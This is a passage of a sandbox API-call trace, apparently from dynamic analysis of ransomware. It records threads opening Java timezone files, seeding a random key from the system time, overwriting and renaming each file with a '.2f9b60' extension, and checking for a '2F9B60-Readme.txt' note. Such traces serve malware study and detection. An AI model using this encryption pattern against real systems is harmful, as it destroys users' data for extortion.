returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0241.703] wcscat (in: _Dest=0x431a3f50, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" [0241.703] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\2f9b60-readme.txt")) returned 0x20 [0243.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a3f50) returned 1 [0243.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebef00) returned 1 Thread: id = 2811 os_tid = 0x19cc [0159.893] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Cairo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\cairo")) returned 0x20 [0165.783] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Cairo", dwFileAttributes=0x20) returned 1 [0166.827] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Cairo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\cairo"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x295c [0166.828] GetFileSizeEx (in: hFile=0x295c, lpFileSize=0x2c15fda0 | out: lpFileSize=0x2c15fda0*=1049) returned 1 [0166.828] SetFilePointerEx (in: hFile=0x295c, liDistanceToMove=0x415, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.828] ReadFile (in: hFile=0x295c, lpBuffer=0x2c15fd20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c15fd68, lpOverlapped=0x0 | out: lpBuffer=0x2c15fd20*, lpNumberOfBytesRead=0x2c15fd68*=0x4, lpOverlapped=0x0) returned 1 [0166.844] SetFilePointerEx (in: hFile=0x295c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7030 [0166.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3fd0 [0166.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3fa0 [0166.845] NtQuerySystemTime (in: CurrentTime=0x2c15fc60 | out: CurrentTime=0x2c15fc60*=132462177719662000) returned 0x0 [0166.845] RtlRandomEx (in: Seed=0x2c15fc50 | out: Seed=0x2c15fc50) returned 0x351e527b [0166.845] RtlRandomEx (in: Seed=0x2c15fc50 | out: Seed=0x2c15fc50) returned 0x529baba4 [0166.845] RtlRandomEx (in: Seed=0x2c15fc50 | out: Seed=0x2c15fc50) returned 0x195e0be2 [0166.845] RtlRandomEx (in: Seed=0x2c15fc50 | out: Seed=0x2c15fc50) returned 0x4a3500fb [0166.845] RtlRandomEx (in: Seed=0x2c15fc50 | out: Seed=0x2c15fc50) returned 0x28cea4f7 [0166.845] RtlRandomEx (in: Seed=0x2c15fc50 | out: Seed=0x2c15fc50) returned 0x70e2bd1a [0166.845] RtlRandomEx (in: Seed=0x2c15fc50 | out: Seed=0x2c15fc50) returned 0x2596f512 [0166.845] RtlRandomEx (in: Seed=0x2c15fc50 | out: Seed=0x2c15fc50) returned 0x6f5ca211 [0166.845] RtlRandomEx (in: Seed=0x2c15fc50 | out: Seed=0x2c15fc50) returned 0xc3201de [0166.845] RtlRandomEx (in: Seed=0x2c15fc50 | out: Seed=0x2c15fc50) returned 0x62703d2f [0166.845] RtlRandomEx (in: Seed=0x2c15fc50 | out: Seed=0x2c15fc50) returned 0x396e3072 [0166.845] RtlRandomEx (in: Seed=0x2c15fc50 | out: Seed=0x2c15fc50) returned 0x348d8ef3 [0166.845] RtlRandomEx (in: Seed=0x2c15fc50 | out: Seed=0x2c15fc50) returned 0x4b9358af [0166.845] RtlRandomEx (in: Seed=0x2c15fc50 | out: Seed=0x2c15fc50) returned 0x77cbb8e0 [0166.845] RtlRandomEx (in: Seed=0x2c15fc50 | out: Seed=0x2c15fc50) returned 0x3b5cb700 [0166.845] RtlRandomEx (in: Seed=0x2c15fc50 | out: Seed=0x2c15fc50) returned 0x10e00f8d [0166.845] RtlRandomEx (in: Seed=0x2c15fc50 | out: Seed=0x2c15fc50) returned 0x250b54ef [0166.845] RtlRandomEx (in: Seed=0x2c15fc50 | out: Seed=0x2c15fc50) returned 0x3c0b7520 [0166.845] RtlRandomEx (in: Seed=0x2c15fc50 | out: Seed=0x2c15fc50) returned 0x3a87fc96 [0166.845] RtlRandomEx (in: Seed=0x2c15fc50 | out: Seed=0x2c15fc50) returned 0x180ba447 [0166.845] RtlRandomEx (in: Seed=0x2c15fc50 | out: Seed=0x2c15fc50) returned 0x1237717 [0166.845] RtlRandomEx (in: Seed=0x2c15fc50 | out: Seed=0x2c15fc50) returned 0x160d7471 [0166.845] RtlRandomEx (in: Seed=0x2c15fc50 | out: Seed=0x2c15fc50) returned 0x43d02eb5 [0166.845] RtlRandomEx (in: Seed=0x2c15fc50 | out: Seed=0x2c15fc50) returned 0xdf432fb [0166.845] RtlRandomEx (in: Seed=0x2c15fc50 | out: Seed=0x2c15fc50) returned 0x147193a7 [0166.845] RtlRandomEx (in: Seed=0x2c15fc50 | out: Seed=0x2c15fc50) returned 0x7fb830c7 [0166.845] RtlRandomEx (in: Seed=0x2c15fc50 | out: Seed=0x2c15fc50) returned 0x15a47f2f [0166.845] RtlRandomEx (in: Seed=0x2c15fc50 | out: Seed=0x2c15fc50) returned 0x7fc586e3 [0166.845] RtlRandomEx (in: Seed=0x2c15fc50 | out: Seed=0x2c15fc50) returned 0xfda03ac [0166.846] RtlRandomEx (in: Seed=0x2c15fc50 | out: Seed=0x2c15fc50) returned 0x3161d120 [0166.846] RtlRandomEx (in: Seed=0x2c15fc50 | out: Seed=0x2c15fc50) returned 0x412b487b [0166.846] RtlRandomEx (in: Seed=0x2c15fc50 | out: Seed=0x2c15fc50) returned 0x7863a145 [0166.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3f70 [0166.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6520 [0166.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3eb0 [0166.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6520) returned 1 [0166.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3fa0) returned 1 [0166.854] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7030) returned 1 [0166.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0166.854] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6520 [0166.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7030 [0166.855] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7030) returned 1 [0166.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b40d80 [0166.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b35950 [0166.856] ReadFile (in: hFile=0x295c, lpBuffer=0x41b40d80, nNumberOfBytesToRead=0x419, lpNumberOfBytesRead=0x2c15fc50, lpOverlapped=0x0 | out: lpBuffer=0x41b40d80*, lpNumberOfBytesRead=0x2c15fc50*=0x419, lpOverlapped=0x0) returned 1 [0166.856] SetFilePointerEx (in: hFile=0x295c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.856] WriteFile (in: hFile=0x295c, lpBuffer=0x41b35950*, nNumberOfBytesToWrite=0x419, lpNumberOfBytesWritten=0x2c15fc54, lpOverlapped=0x0 | out: lpBuffer=0x41b35950*, lpNumberOfBytesWritten=0x2c15fc54*=0x419, lpOverlapped=0x0) returned 1 [0183.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d32150 [0183.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d32180 [0183.436] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d32180) returned 1 [0183.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b35950) returned 1 [0183.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b40d80) returned 1 [0183.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6520) returned 1 [0183.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0183.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d420 [0183.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0183.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6520 [0183.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d32180 [0183.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d32180) returned 1 [0183.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d440 [0183.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d32180 [0183.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d321b0 [0183.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d321b0) returned 1 [0183.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6520) returned 1 [0183.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0183.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfc) returned 0x4314a720 [0188.015] SetFilePointerEx (in: hFile=0x295c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0188.016] WriteFile (in: hFile=0x295c, lpBuffer=0x4314a720*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2c15fd70, lpOverlapped=0x0 | out: lpBuffer=0x4314a720*, lpNumberOfBytesWritten=0x2c15fd70*=0xfc, lpOverlapped=0x0) returned 1 [0200.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1de0 [0200.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867540 [0200.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d33a40 [0200.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d33a40) returned 1 [0200.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa) returned 0x1b82d260 [0200.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d33a40 [0200.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d33800 [0200.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d33800) returned 1 [0200.831] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867540) returned 1 [0200.831] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1de0) returned 1 [0200.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x15) returned 0x1b82d280 [0200.831] sprintf (in: _Dest=0x1b82d280, _Format="%c%c" | out: _Dest="39") returned 2 [0200.831] sprintf (in: _Dest=0x1b82d282, _Format="%c%c" | out: _Dest="23") returned 2 [0200.831] sprintf (in: _Dest=0x1b82d284, _Format="%c%c" | out: _Dest="20") returned 2 [0200.832] sprintf (in: _Dest=0x1b82d286, _Format="%c%c" | out: _Dest="1a") returned 2 [0200.832] sprintf (in: _Dest=0x1b82d288, _Format="%c%c" | out: _Dest="75") returned 2 [0200.832] sprintf (in: _Dest=0x1b82d28a, _Format="%c%c" | out: _Dest="d6") returned 2 [0200.832] sprintf (in: _Dest=0x1b82d28c, _Format="%c%c" | out: _Dest="bf") returned 2 [0200.832] sprintf (in: _Dest=0x1b82d28e, _Format="%c%c" | out: _Dest="ae") returned 2 [0200.832] sprintf (in: _Dest=0x1b82d290, _Format="%c%c" | out: _Dest="a0") returned 2 [0200.832] sprintf (in: _Dest=0x1b82d292, _Format="%c%c" | out: _Dest="35") returned 2 [0200.832] RtlInitAnsiString (in: DestinationString=0x2c15fde8, SourceString="3923201a75d6bfaea035" | out: DestinationString="3923201a75d6bfaea035") [0200.832] RtlAnsiStringToUnicodeString (in: DestinationString=0x2c15fdb8, SourceString="3923201a75d6bfaea035", AllocateDestinationString=1 | out: DestinationString="3923201a75d6bfaea035") returned 0x0 [0200.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1ce5d0f0 [0200.833] wcscat (in: _Dest=0x1b867540, _Source="39232" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\39232") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\39232" [0200.833] wcscat (in: _Dest=0x1b867540, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\39232.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\39232.2f9b60" [0200.833] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\39232.2f9b60", NtPathName=0x2c15fd90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\39232.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x42c312b0 [0237.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c312b0) returned 1 [0237.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43201250) returned 1 [0237.684] NtQueryInformationFile (in: FileHandle=0x295c, IoStatusBlock=0x2c15fdf8, FileInformation=0x2c15fe08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c15fdf8, FileInformation=0x2c15fe08) returned 0x0 [0237.684] NtSetInformationFile (FileHandle=0x295c, IoStatusBlock=0x2c15fdf8, FileInformation=0x2c15fe08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867540) returned 1 [0237.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d0f0) returned 1 [0237.970] FlushFileBuffers (hFile=0x295c) returned 1 [0238.251] CloseHandle (hObject=0x295c) returned 1 [0241.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x431a3a40 [0241.708] wcscpy (in: _Dest=0x431a3a40, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0241.708] wcscat (in: _Dest=0x431a3a40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" [0241.708] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\2f9b60-readme.txt")) returned 0x20 [0243.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a3a40) returned 1 [0243.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebef80) returned 1 Thread: id = 2812 os_tid = 0x880 [0159.894] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Casablanca" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\casablanca")) returned 0x20 [0165.795] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Casablanca", dwFileAttributes=0x20) returned 1 [0166.824] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Casablanca" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\casablanca"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2960 [0166.824] GetFileSizeEx (in: hFile=0x2960, lpFileSize=0x2aa2f9a0 | out: lpFileSize=0x2aa2f9a0*=848) returned 1 [0166.824] SetFilePointerEx (in: hFile=0x2960, liDistanceToMove=0x34c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.824] ReadFile (in: hFile=0x2960, lpBuffer=0x2aa2f920, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2aa2f968, lpOverlapped=0x0 | out: lpBuffer=0x2aa2f920*, lpNumberOfBytesRead=0x2aa2f968*=0x4, lpOverlapped=0x0) returned 1 [0166.829] SetFilePointerEx (in: hFile=0x2960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7030 [0166.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4180 [0166.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3fd0 [0166.831] NtQuerySystemTime (in: CurrentTime=0x2aa2f860 | out: CurrentTime=0x2aa2f860*=132462177719506000) returned 0x0 [0166.831] RtlRandomEx (in: Seed=0x2aa2f850 | out: Seed=0x2aa2f850) returned 0x76016734 [0166.831] RtlRandomEx (in: Seed=0x2aa2f850 | out: Seed=0x2aa2f850) returned 0x5937f031 [0166.831] RtlRandomEx (in: Seed=0x2aa2f850 | out: Seed=0x2aa2f850) returned 0xdeda4ee [0166.831] RtlRandomEx (in: Seed=0x2aa2f850 | out: Seed=0x2aa2f850) returned 0x319b3976 [0166.831] RtlRandomEx (in: Seed=0x2aa2f850 | out: Seed=0x2aa2f850) returned 0xda3e016 [0166.831] RtlRandomEx (in: Seed=0x2aa2f850 | out: Seed=0x2aa2f850) returned 0x3267f5fd [0166.831] RtlRandomEx (in: Seed=0x2aa2f850 | out: Seed=0x2aa2f850) returned 0xca403b2 [0166.831] RtlRandomEx (in: Seed=0x2aa2f850 | out: Seed=0x2aa2f850) returned 0x2a33a9ce [0166.831] RtlRandomEx (in: Seed=0x2aa2f850 | out: Seed=0x2aa2f850) returned 0x1df3ac78 [0166.831] RtlRandomEx (in: Seed=0x2aa2f850 | out: Seed=0x2aa2f850) returned 0x5607e288 [0166.831] RtlRandomEx (in: Seed=0x2aa2f850 | out: Seed=0x2aa2f850) returned 0x68664c27 [0166.831] RtlRandomEx (in: Seed=0x2aa2f850 | out: Seed=0x2aa2f850) returned 0x7c2484f5 [0166.831] RtlRandomEx (in: Seed=0x2aa2f850 | out: Seed=0x2aa2f850) returned 0x6b42058a [0166.831] RtlRandomEx (in: Seed=0x2aa2f850 | out: Seed=0x2aa2f850) returned 0x7dab2c3e [0166.831] RtlRandomEx (in: Seed=0x2aa2f850 | out: Seed=0x2aa2f850) returned 0x4b4d780b [0166.831] RtlRandomEx (in: Seed=0x2aa2f850 | out: Seed=0x2aa2f850) returned 0x6430fbae [0166.831] RtlRandomEx (in: Seed=0x2aa2f850 | out: Seed=0x2aa2f850) returned 0x120b9b13 [0166.831] RtlRandomEx (in: Seed=0x2aa2f850 | out: Seed=0x2aa2f850) returned 0x5803c9c7 [0166.831] RtlRandomEx (in: Seed=0x2aa2f850 | out: Seed=0x2aa2f850) returned 0x5b62c47a [0166.831] RtlRandomEx (in: Seed=0x2aa2f850 | out: Seed=0x2aa2f850) returned 0x2157a092 [0166.831] RtlRandomEx (in: Seed=0x2aa2f850 | out: Seed=0x2aa2f850) returned 0x2900af4b [0166.831] RtlRandomEx (in: Seed=0x2aa2f850 | out: Seed=0x2aa2f850) returned 0x56b04835 [0166.831] RtlRandomEx (in: Seed=0x2aa2f850 | out: Seed=0x2aa2f850) returned 0xd05405d [0166.831] RtlRandomEx (in: Seed=0x2aa2f850 | out: Seed=0x2aa2f850) returned 0x29d428d9 [0166.831] RtlRandomEx (in: Seed=0x2aa2f850 | out: Seed=0x2aa2f850) returned 0x7f528e1a [0166.831] RtlRandomEx (in: Seed=0x2aa2f850 | out: Seed=0x2aa2f850) returned 0x15d8ccbc [0166.832] RtlRandomEx (in: Seed=0x2aa2f850 | out: Seed=0x2aa2f850) returned 0x3c2bd895 [0166.832] RtlRandomEx (in: Seed=0x2aa2f850 | out: Seed=0x2aa2f850) returned 0x3b601220 [0166.832] RtlRandomEx (in: Seed=0x2aa2f850 | out: Seed=0x2aa2f850) returned 0x322a67a1 [0166.832] RtlRandomEx (in: Seed=0x2aa2f850 | out: Seed=0x2aa2f850) returned 0x562a9c26 [0166.832] RtlRandomEx (in: Seed=0x2aa2f850 | out: Seed=0x2aa2f850) returned 0x5c7b69de [0166.832] RtlRandomEx (in: Seed=0x2aa2f850 | out: Seed=0x2aa2f850) returned 0x27619213 [0166.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4030 [0166.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec64a0 [0166.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4000 [0166.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec64a0) returned 1 [0166.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3fd0) returned 1 [0166.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7030) returned 1 [0166.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18820 [0166.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec64a0 [0166.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7030 [0166.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7030) returned 1 [0166.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b4c1b0 [0166.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b100b0 [0166.842] ReadFile (in: hFile=0x2960, lpBuffer=0x41b4c1b0, nNumberOfBytesToRead=0x350, lpNumberOfBytesRead=0x2aa2f850, lpOverlapped=0x0 | out: lpBuffer=0x41b4c1b0*, lpNumberOfBytesRead=0x2aa2f850*=0x350, lpOverlapped=0x0) returned 1 [0166.843] SetFilePointerEx (in: hFile=0x2960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.843] WriteFile (in: hFile=0x2960, lpBuffer=0x41b100b0*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2aa2f854, lpOverlapped=0x0 | out: lpBuffer=0x41b100b0*, lpNumberOfBytesWritten=0x2aa2f854*=0x350, lpOverlapped=0x0) returned 1 [0183.453] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d32210 [0183.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d32240 [0183.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d32240) returned 1 [0183.454] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b100b0) returned 1 [0183.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b4c1b0) returned 1 [0183.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec64a0) returned 1 [0183.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18820) returned 1 [0183.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x42d32240 [0183.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18820 [0183.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec64a0 [0183.457] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d32270 [0183.457] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d32270) returned 1 [0183.457] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x42d32270 [0183.457] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d322a0 [0183.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d322d0 [0183.458] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d322d0) returned 1 [0183.459] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec64a0) returned 1 [0183.459] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18820) returned 1 [0183.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x43150720 [0188.051] SetFilePointerEx (in: hFile=0x2960, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0188.051] WriteFile (in: hFile=0x2960, lpBuffer=0x43150720*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2aa2f970, lpOverlapped=0x0 | out: lpBuffer=0x43150720*, lpNumberOfBytesWritten=0x2aa2f970*=0x106, lpOverlapped=0x0) returned 1 [0202.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bfc0 [0202.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5ab30 [0202.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860180 [0202.858] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860180) returned 1 [0202.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d460 [0202.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860180 [0202.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ffd0 [0202.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ffd0) returned 1 [0202.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5ab30) returned 1 [0202.861] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bfc0) returned 1 [0202.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9f670 [0202.861] sprintf (in: _Dest=0x1cd9f670, _Format="%c%c" | out: _Dest="18") returned 2 [0202.861] sprintf (in: _Dest=0x1cd9f672, _Format="%c%c" | out: _Dest="d5") returned 2 [0202.861] sprintf (in: _Dest=0x1cd9f674, _Format="%c%c" | out: _Dest="8c") returned 2 [0202.861] sprintf (in: _Dest=0x1cd9f676, _Format="%c%c" | out: _Dest="b1") returned 2 [0202.861] sprintf (in: _Dest=0x1cd9f678, _Format="%c%c" | out: _Dest="09") returned 2 [0202.861] sprintf (in: _Dest=0x1cd9f67a, _Format="%c%c" | out: _Dest="47") returned 2 [0202.861] sprintf (in: _Dest=0x1cd9f67c, _Format="%c%c" | out: _Dest="60") returned 2 [0202.861] sprintf (in: _Dest=0x1cd9f67e, _Format="%c%c" | out: _Dest="e1") returned 2 [0202.861] 